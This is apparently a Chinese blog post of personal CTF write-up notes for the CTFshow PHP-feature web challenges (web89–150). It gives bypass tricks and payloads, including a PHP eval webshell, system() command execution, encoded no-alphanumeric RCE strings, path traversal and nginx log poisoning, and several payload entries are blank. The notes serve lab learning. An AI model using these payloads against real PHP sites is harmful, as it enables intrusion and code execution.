CTFshow-PHP特性
CTFshow-PHP特性
知道乱,但是懒得改
ctfshow
web89
preg_match正则匹配
数组绕过 num[]=1
web90
highlight_file
小数绕过 num=4476.0
符号绕过 num=+4476
科学计数法 num=4476e0
进制绕过(16进制) num=0x117c
八进制 num=010574
空格+八进制 num= 010574
web91
正则表达式修饰符 ?cmd=%0aphp
web92
同web90的进制转换
web93
同web90进制转换的八进制转换内俩
web94
空格+八进制可以
不能以0开头了,这时候可以试试小数,intval只识别整数部分
Payload:?num=4476.0001
web95
空格+八进制 yyds
//弱比较不可以是4476,然后是传入参数不可以存在大小写的26个字母和“.”,接着是不可以以0开头,最后结束匹配时需要4476,一开始的若比较,这里可以用010574(4476的八进制)绕过,直接到了strpos函数这里,这里不能以0开头,去看了看intval函数的发现最开头可以如果是+还是可以识别为原数
Payload:?num=+010574
web96
highlight_file的参数可以是路径的
if语句只比对字符串,highlight_file可以写路径,故payload有多种解法;
/var/www/html/flag.php 绝对路径
./flag.php 相对路径
php://filter/resource=flag.php php伪协议
web97
PHP中hash比较是存在缺陷的,MD5无法处理数组,如果传入数组则返回NULL,两个NULL是强相等的
不同数据强相等
a[]=1&b[]=2
web98
第一行,GET被设置,就可以用POST覆盖GET的值。中间两行意义不大,是flag就被COOKIE覆盖,然后被SERVER覆盖,不是flag被赋值flag然后条件成立也是被SERVER覆盖。而且这个被覆盖的GET没有指定,任意都行,第四行才是关键,等于flag就输出flag,不等于显示源码。所以只需要传入一个任意的GET保证$_GET
是被设置的。然后POST一个覆盖它
payload:get:1=1 post:HTTP_FLAG=flag
//考点:变量覆盖、三元运算符、&在php中的引用作用
//一开始不知道是什么意思,问了一下大师傅,他跟我说了一下三元运算符以及&的作用
//解释一下
//第一句的意思是如果存在GET请求则引用POST请求的内容
//接下来两句好像没啥用,不过为了保险,还是直接还是把flag=xx
//最关键的就是HTTP_FALG=flag,这样才就能回显flag了
//尝试了一下发现第一句存在变量覆盖的效果,所以GET请求不管给什么东西都会被POST请求覆盖掉
Payload:GET:?xxx POST:flag=xx&HTTP_FLAG=flag
再次做的时候发现加了个.php得不到flag,注意题目!!!!
web99
查看题目两个参数一个get,一个post
弱比较字符串1.php与1返回true。array_push
这个函数往里填数字1,则是int类型,in_array使用的就是==弱比较。所以,如果数组里有数字1,与字符串1.php比较时是返回true的。注意,$array( 1 , ‘2’ , ‘3’ ),这里1是int型,2和3都是string类型。
这道题,每次生成随机数都包含1,所以1在数组中的可能最大。
payload:n=1.php post:content=<?php eval($_POST[1]);?>
多试几次,然后蚁剑直接连
还看到用文件包含+php伪协议的,但是不知道为什么我试了下不太行
web100
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
关键看这一句
is_numeric() 函数用于检测变量是否为数字或数字字符串。
是数字和数字字符串则返回 TRUE,否则返回 FALSE
var_dump()函数可以输出多个值。
&& > || > = > and > or
=的运算符比and高
对于v0的值只需要看v1就可以v2,v3是干扰
所以v1输入数字
v3要匹配到分号,但是要加注释符*/但是不知道为什么//不行
v2是比较复杂的,用v2=var_dump($ctfshow)或者v2=var_dump(new ctfshow())
v1=1&v2=var_dump($ctfshow)/*&v3=*/;
或用命令
?v1=1&v2=system('ls')/*&v3=*/;
法二:反射类(下题解释)
?v1=1&v2=echo new ReflectionClass('ctfshow')/*&v3=*/;
0x2d要转换成-
web101
反射,通俗来讲就是可以通过一个对象来获取所属类的具体内容,php中内置了强大的反射API:
ReflectionClass:一个反射类,功能十分强大,内置了各种获取类信息的方法,创建方式为new ReflectionClass(str 类名),可以用echo new ReflectionClass(‘className’)打印类的信息。
ReflectionObject:另一个反射类,创建方式为new ReflectionObject(对象名)。
playload:
?v1=1&v2=echo new Reflectionclass&v3=;
web102
call_user_func():把第一个参数作为回调函数使用,后面的参数是这个函数的参数。返回调用函数的返回值。其实就是一种特殊的调用函数的方式。
substr(string,start<,length>)从string 的start位置开始提取字符串
file_put_contents():把一个字符串写入文件,如果文件不存在则创建之。
GET:
POST:
牛!大佬!膜拜!
看了下其他的,大同小异
之后访问1.php查看源码就行
web103
同上
web104
sha1无法处理数组
MD5或者sha1这种如果强制类型转换后,就不接受数组了,这个时候就要找到真正的编码后相同的了
v2=2
v1=2
web105
这一题我们要用到可变变量先利用suces将它改为flag,再利用suces作为中间过渡将error也覆盖为flag
啥意思呢
suces–》flag
error–》suces == error=flag
playload:
GET:
?suces=flag
POST:
error=suces
web106
同web104,but随便给个数相等不行了
web107
payload:
get:
?v3[]=1
post:
v1=
或者
get: ?v3=240610708 post: v1=flag=0
web108
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
intval()函数中要877,转化成16进制就是36d
strrev()函数会颠倒顺序,所以c中真实数字要是778
?c=a%00778
web109
eval(“echo new v 1 ( v1(v1(v2());”);
这段代码里有了new定义v1的参数为一个类,将v2的内容作为函数执行,有一个重要的一点,这个定义的类我们不能用自己定义的类,需要利用到php自带的内生类来执行内容,由此才可以使得v2的命令得以执行
我们就要从php官方文档里找可以利用的类,这里我用了Exception类!
他会把传入的值输出出来比如v2给了一个phpinfo,输出出来正好与后面的()对应上,成为了phpinfo函数,机上前面有eval接着就把命令给执行了,如果传入的是system(“ls”),他输出出来成了system(“ls”)()后面这个括号就没有用到也无所谓,eval也会将它执行
payload
?v1=exception&v2=system('tac fl36dg.txt')
web110
php内置类 利用 FilesystemIterator 获取指定目录下的所有文件 http://phpff.com/filesystemiterator https://www.php.net/manual/zh/class.filesystemiterator.php getcwd()函数 获取当前工作目录 返回当前工作目录
payload: ?v1=FilesystemIterator&v2=getcwd
web111
getflag()这个函数中包含了v1v2,正则匹配还过滤了好多东西,v1的值还必须要含有CTFshow,主要的一个问题是getflag是一个内部函数,flag.php是一个外部的文件,内部的无法得到外部文件
要利用的GLOBALS把所有全局变量全输出来,结合var_dump即可得到全部的数组
?v1=ctfshow&v2=GLOBALS
web112
is_file可以使用包装器 伪协议来绕过
不影响使用file_get_contents highlight_file
is_file判断,要求传入的file不是文件,但还能highlight_file,这就要说明is_file和highlight_file对于文件的判断:is_file认为伪协议不是文件,highlight_file认为伪协议是文件,所以这里传入filter伪协议即可。
?file=php://filter/resource=flag.php
web113
官方的解法
一个目录溢出,让is_file文件认为flag.php不是文件,但highlight_file函数认他为是文件,可得到flag
利用伪协议的解法,过滤了filter伪协议,试试其他协议
?file=compress.zlib://flag.php
web114
/?file=php://filter/resource=flag.php
web115
先过is_numeric函数
在数字的前面加上%09 %0a %0b %0c %0d任意一个都可以使其为真不影响判断。
这题主要过得是trim函数
他去除了空格符,制表符,换行符,回车符,空字节符,垂直制表符
发现最后%0c还可以用
对于前面的玄学,要等于36,又要不等于,在我们看来不可能,但他就是行
payload:
num=%0c36
%0c==\f
web123
POST:CTF_SHOW=&CTF_SHOW.COM=&fun=echo $flag
在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_
,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换
payload:
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格 + . [转换为_
但是有一个特性可以绕过,使变量名出现.之类的
特殊字符[, GET或POST方式传参时,变量名中的[也会被替换为_,但其后的字符就不会被替换了
如 CTF[SHOW.COM=>CTF_SHOW.COM
另一个思路 CTF_SHOW=&CTF[SHOW.COM=&fun=var_dump($GLOBALS)(but没打通)
web125
第一种方法:
利用highlight_file函数
get:?shell=flag.php
post:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[shell])
第二种方法:
echo被过滤了,打印的被过滤了,但是条件判断里面是有fl0g=flag_give_me,我们可以把GET给覆盖
CTF_SHOW=&CTF[SHOW.COM=&fun=extract($_POST)&fl0g=flag_give_me
web126
a=SERVER[‘argv’];
_$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等信息的 array。这个数组中的条目由 Web 服务器创建,所以不能保证每个 Web 服务器都提供全部条目;服务器可能会忽略一些,或者提供此处没有列举出来的其它内容
‘argv’
传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv 变量传递给程序 C 语言样式的命令行参数。当通过 GET 方式调用时,该变量包含query string。
playload:
GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
这里a是传入argv的一个参数,被当做一个数组传入进去,数组他是以空格进行分割的,比如ls /-a,(斜杠前面有个空格),ls就是argv[0],/-a就是argv[2],这一题就是利用这一个性质,parse_str输出的是argv的第2个数组恰好就是加号(+会被解析成空格嘛)后面的就只要了fl0g=flag_give_me
GET:?$fl0g=flag_give_me POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
web127
?ctf show=ilove36d
_换成空格
web128
小知识点: _()是一个函数
_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll
get_defined_vars()函数
get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag
call_user_func
call_user_func — 把第一个参数作为回调函数调用
payload: ?f1=_&f2=get_defined_vars
web129
利用目录穿越漏洞绕过 stripos 检测字符
payload:?f=/ctfshow/../../../../../../../../../var/www/html/flag.php
web130
直接POST f=ctfshow绕过正则 preg_match('/.+?ctfshow/is', $f)
可能.+
匹配失败,就不再匹配?
没有太看懂,花里胡哨的赶脚
web131
利用了php中正则表达式进行匹配有一定的限制,超过限制直接返回false
这个限制是防止正则匹配时占用资源过多设置
第一个题解看到python脚本
正则表达式对长度有限制,以后可以试试溢出做题
web132
哦吼吼突然给个网页不适应了,扫到后台有/admin
php运算符优先级 ||
优先级低于&&
只需满足code=admin&username=admin即可
?username=admin&password=&code=admin
robots.txt也有/admin
web133
这道题有点子懵,查了一下,原理看不大懂,大概是外带出来的?等我后面仔细研究研究
https://blog.csdn.net/qq_46091464/article/details/109095382
头一次知道这个插件试试(感觉非常好用),跟DNSlog一样
payload:
web134
?_POST[key1]=36d&_POST[key2]=36d
web135
从文件 “flag.php” 中读取内容,并将去除重复行的结果输出到文件 “4.txt” 中
web136
ban掉了很多关键字,.也被ban掉了,想看到回显
linux tee命令
linux tee命令用于读取标准输入的数据,并将其内容输出成文件
用法:
tee file1 file2 //复制文件
ls|tee 1.txt //命令输出
hint:
payload: ls /|tee 1 访问1下载发现根目录下有flag
payload: cat /f149_15_h3r3|tee 2 访问下载就OK
payload:
?c=ls /|tee 2
?c=cat /f149_15_h3r3|tee 3
web137
调用getFlag类
ctfshow=ctfshow::getFlag
web138
strripos()函数,查找xxx在字符串中最后一次出现的位置,如果大于-1就退出函数,意思是不让用冒号了呗
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
web139
带不出回显了,可以盲注,盲打(和sql盲注类似)
要解决两个问题
- 截取字符串
- 判断命令执行结构
截取字符串可以用awk等命令
判断命令执行结果可以用shell编程的if语句和sleep()函数
awk逐行获取
&&
web140
这个题只需要让intval($code)等于0就可以
只需要找一些参数为可选的函数即可
还有一种方法就是查得松散比较表中得知
整数0在和"php"字符串做比较的时候返回的是0,所以构造出0即可
web141
补!!!!我一定补!!!!!
无字母RCE:https://blog.csdn.net/miuzzx/article/details/109143413
来补了!!!!!来补了!!!!!
首先是那个正则表达式,\W是反义,匹配任意不是字母,数字,下划线,汉字的字符。这里可以无数字字母rce(想不到,根本想不到[附+人哪有不疯的别硬撑了表情包.png])
既然v3可以无数字字母rce,正常是直接构造就可以的,但是这题有个return。return会中止当前字符串的执行。什么意思呢,看这两个例子:
第一句会执行phpinfo(),但是第二句不行,因为return后就中止了。
但是这样可以:eval("return phpinfo();")
因此v3肯定是命令执行,但是v1v2又怎么弄呢?PHP里面数字是可以和一些命令进行运算,例如1-phpinfo()-1,这样仍然可以执行phpinfo(),因此构造就很明显了。
payload:
+system ls+
得到flag.php
+system tac flag.php+
这题我用的是取或
脚本如下
奥,payload前面要加上?v1=1&v2=1&v3=
payload:(之前嫖的别人的payload)
v1=1&v3=-(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)-&v2=1
web142
题目内容很简单,就是让我们传入一个数,再乘0x36d,对sleep()函数的绕过
可以想到的是0,0乘任何数为0
payload:
web143
取反过滤了,可以用异或构造字符串(虽说我也没用过取反)
payload:
system ls
system tac flag.php
web 144
这个题限制了v3的长度为1,所以我们要把执行命令放在v2上
payload:
web 145
^被过滤了,不能用异或了
payload
大佬脚本(取反)
记得把;
删了
web 146
同上
web 147
函数定义:
- 获取参数,函数体
- 拼凑一个“function_lambda_func(参数){函数体}”
- eval
原理就是}闭合原来的函数,然后执行命令,然后再把多余的}给注释掉就可以了。
大佬的例子:
这个匿名函数相当于这样的创建函数过程:
现在构造了一个这样的payload:
payload访问后相当于如下:
;}闭合了函数,phpinfo();后的/*会注释掉之后的代码,在前面的定义中提到create_function函数是调用了eval的,所以phpinfo()函数得以执行
在php中,可以自己定义命名空间,但是最根本,最大的命名空间就是\,正常我们调用create_function函数,其实是调用的\这个命名空间下的函数,即\create_function,带上\相当于linux中的绝对路径的写法。
payload:
web 148
?code=(%80%80%80%80%80%80%80%80%80%80%80%80%80%80%80%80^%E7%E5%F4%DF%E3%F4%E6%F3%E8%EF%F7%DF%E6%EC%B0%E7)();
web 149
不是index.php就会被删除
尝试把一句话木马写进index.php
蚁剑连接成功,根目录flag
看到还有大佬用条件竞争,等我学一下(惭愧)
web 150
看见有大佬用脚本在UA里面写一句话木马,我试了下没用啊
(我还傻乎乎的抓包往UA里面写木马,路径呢啊喂!!!)
放弃
又回来了
路径是
剩下的都好说了
ctf=/var/log/nginx/access.log&1=system('tac flag.php');
web 150_plus
看了一眼,再见
虽说题解是这样的,但考察的不是这个知识点,等我后面有机会了再看
别问最后两道题呢,咕咕咕~
__EOF__

本文链接:https://www.cnblogs.com/solitude0-c/p/17584390.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!